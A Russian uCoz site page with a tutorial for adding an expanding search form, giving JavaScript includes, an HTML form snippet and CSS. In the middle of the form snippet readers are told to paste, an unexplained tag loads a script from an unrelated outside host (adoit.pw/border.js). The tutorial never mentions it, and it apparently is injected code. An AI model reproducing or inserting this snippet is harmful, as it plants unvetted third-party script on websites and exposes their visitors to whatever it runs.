Меню сайта
 Основное меню  Soft католог  Фильмы Онлайн  Католог статей  Фотогалерея  ФОРУМ
Мини-чат
300
Новое на форуме
1 : Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c
2 : Горизонтальное меню для ucoz
3 : Оповещение о входе и выходе пользователей для uCoz
4 : Кул меню
5 : Заказать Видео!
6 : статистика CW
7 : Новый информер комментарии для ucoz как на Dle
8 : Flash радио для сайта
9 : Голубая кнопка вверх для Ucoz
10 : Новый Топ пользователей с аватарами для Ucoz
Баннерообмен


Киноновинки-онлайн, Бесплатный SOFT, Флеш-игры онлайн, Новости из мира интернет-технологий, Скрипты uCoz, Статьи ВК и тп. Всё тут!

Кинотеатр онлайн Luchok.com 


  • Хостинг Изображений
  • Хостинг Файлов
  • Наш опрос
    Скорость вашей интернет связи?
    Всего ответов: 39
    Статистика
    Счетчик посещений сайта

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте
    Всего: 532
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 4
    Проверенных: 1
    Обычных юзеров: 459
    Из них
    Парней: 476
    Девушек: 56

    Нас сегодня посетили:

    Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
    13:50
    Создаём раздвижную форму поиска для uCoz
    Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

    Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

    И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

    Код
    <script src="http://pnghosts.ru/js_css/classie.js"></script>
    <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
    <script>
      new UISearch( document.getElementById( 'sb-search' ) );
    </script>


    Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

    Код
    <!-- Поиск по сайту -->  
      <div id="sb-search" class="sb-search">
      <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
      <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
      <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
      </form>  
      </div>  
      <!-- /Поиск по сайту -->


    Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

    Код
    /* Раздвижная форма поиска для uCoz
    ------------------------------------------*/
    .sb-search {
      position: relative;
      margin-top: 10px;
      width: 0%;
      min-width: 32px;
      height: 32px;
      float: right;
      overflow: hidden;
       
      -webkit-transition: width 0.3s;
      -moz-transition: width 0.3s;
      transition: width 0.3s;
      -webkit-backface-visibility: hidden;
    }

    .sb-search-input {
      position: absolute;
      top: 0;
      right: 0;
       
      margin: 0;
      z-index: 10;
      width:300px;
      height: 20px;
      outline: none;
      background: #fff;  
      border: 1px solid #CAD3DA;  
      padding: 5px 32px 5px 20px;
       
      font:11px Verdana,Arial,Helvetica, sans-serif;
      color:#555;  
      border-radius:3px 0px 0px 3px;  
    }

    .sb-search-input::-webkit-input-placeholder {
      color: #efb480;
    }

    .sb-search-input:-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input::-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input:-ms-input-placeholder {
      color: #efb480;
    }

    .sb-icon-search,
    .sb-search-submit {
      position: absolute;
      right: 0;
      top: 0;
      margin: 0;
       
      width: 32px;
      height: 32px;
      display: block;

      line-height: 30px;
      text-align: center;
      cursor: pointer;
    }

    .sb-search-submit {
      background: #fff;
      color: transparent;
      border: none;
      outline: none;
      z-index: -1;
      -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
      filter: alpha(opacity=0);  
      opacity: 0;  
    }

    .sb-icon-search {
      border:none;  
      z-index: 90;
      background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      -webkit-font-smoothing: antialiased;
      border-radius:3px 3px 3px 3px;  
    }

    .sb-icon-search:before {
      content: "\e000";
    }

    .sb-search.sb-search-open,
    .no-js .sb-search {
      width: 100%;
    }

    .sb-search.sb-search-open .sb-icon-search,
    .no-js .sb-search .sb-icon-search {
      background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      z-index: 11;
      border-radius:0px 3px 3px 0px;  
    }

    .sb-search.sb-search-open .sb-search-submit,
    .no-js .sb-search .sb-search-submit {
      z-index: 90;
    }


    На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

    Спасибо за внимание!
    Просмотров: 120 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Форма входа
    Советуем к просмотру
    Гарри Поттер: Восстание Мышей или Месть Психа из Кегельбана
    [Гоблинские переводы]
    Это очень забавная история (2010)
    [Комедии, Экшн]
    Гопник и спортсмен
    [Видео, Приколы]
    Большая разница - 17 мгновений весны в цвете
    [Видео, Приколы]
    Месть пушистых
    [Фильмы, Семейные]
    Дежавю / Dejavu (2006)
    [Фантастика, Приключения]
    Ученик Чародея
    [Фантастика, Приключения]
    Мрачные тени
    [Ужасы, Мистика]
    Аватар
    [Фантастика, Приключения]
    Люди Икс: Первый класс
    [Фантастика, Приключения]
    Затаившиеся
    [Ужасы, Мистика]
    Зелёный Шершень 3D
    [Фантастика, Приключения]
    Большая разница - телемагазин (Водка)
    [Видео, Приколы]
    Очень плохая училка / Bad Teacher
    [Комедии, Экшн]
    Каратэ-пацан(2010/DVDRip)
    [Фантастика, Приключения]
    Терминатор против Сталоне
    [Видео, Приколы]
    Мой парень из зоопарка / Zookeeper (2011)
    [Комедии, Экшн]
    Хищники / Predators (2010)
    [Фантастика, Приключения]
    Вольт / Bolt (2008) DVDRip
    [Мультфильмы,Мультсериалы, Анимэ]
    Перси Джексон и похититель молний / Percy Jackson & the Olympians: The Lightning Thief (2010)
    [Фантастика, Приключения]
    Законопослушный гражданин / Law Abiding Citizen (2009)
    [Боевики, Триллер, драки]
    РАМШАРИКИ
    [Видео, Приколы]
    Телохранитель
    [Боевики, Триллер, драки]
    Послезавтра / The Day After Tomorrow (2004)
    [Фантастика, Приключения]
    Астрал / Insidious
    [Ужасы, Мистика]
    Другой мир 4: Пробуждение
    [Фантастика, Приключения]
    Мегамозг 3D (Megamind) 2010
    [Мультфильмы,Мультсериалы, Анимэ]
    Сумерки 4. Сага. Рассвет. Часть 1
    [Триллер, Приключения]
    Смотреть Наша Раша 1-4 сезоны
    [Комедии, Экшн]
    Путешествие Гулливера
    [Фантастика, Приключения]
    Инопланетное вторжение: Битва за Лос-Анджелес
    [Фантастика, Приключения]
    Большая разница - Top Gear
    [Видео, Приколы]
    Властелин колец: Возвращение бомжа
    [Гоблинские переводы]
    Ваня Холостой
    [Гоблинские переводы]
    Король говорит! / The King Speech (2010)
    [Драмма, Исторические]
    Сеть
    [Сериалы, TV]
    Чёрный лебедь
    [Триллер, Приключения]
    Иван Царевич и Серый Волк
    [Мультфильмы,Мультсериалы, Анимэ]
    Гадкий Я
    [Мультфильмы,Мультсериалы, Анимэ]
    Солдатики / Small Soldiers (1998)
    [Фантастика, Приключения]
    КВН "Битва умников" (Утомлённые солнцем)
    [Видео, Приколы]
    Большая Разница - код Церетелли
    [Видео, Приколы]
    Ледяная дрожь
    [Фантастика, Приключения]
    Затихающие крики / Fading of the Cries
    [Фантастика, Приключения]
    Большая разница - Древне-русская реклама
    [Видео, Приколы]
    Как приручить дракона/How to Train Your Dragon
    [Мультфильмы,Мультсериалы, Анимэ]
    Санктум
    [Фантастика, Приключения]
    РЭД (Комедия/Экшн /2010)
    [Комедии, Экшн]
    Ведьмина гора 2009
    [Фантастика, Приключения]
    Тор / Thor
    [Фантастика, Приключения]
    Необходимый Софт

    Для красивого отображения этого блока требуется Flash Player 9 или выше.

    Свежие новости
    Самые свежие Новости

    Яндекс цитирования
    Поиск


    Яндекс.Метрика
    Copyright © 2010-2017г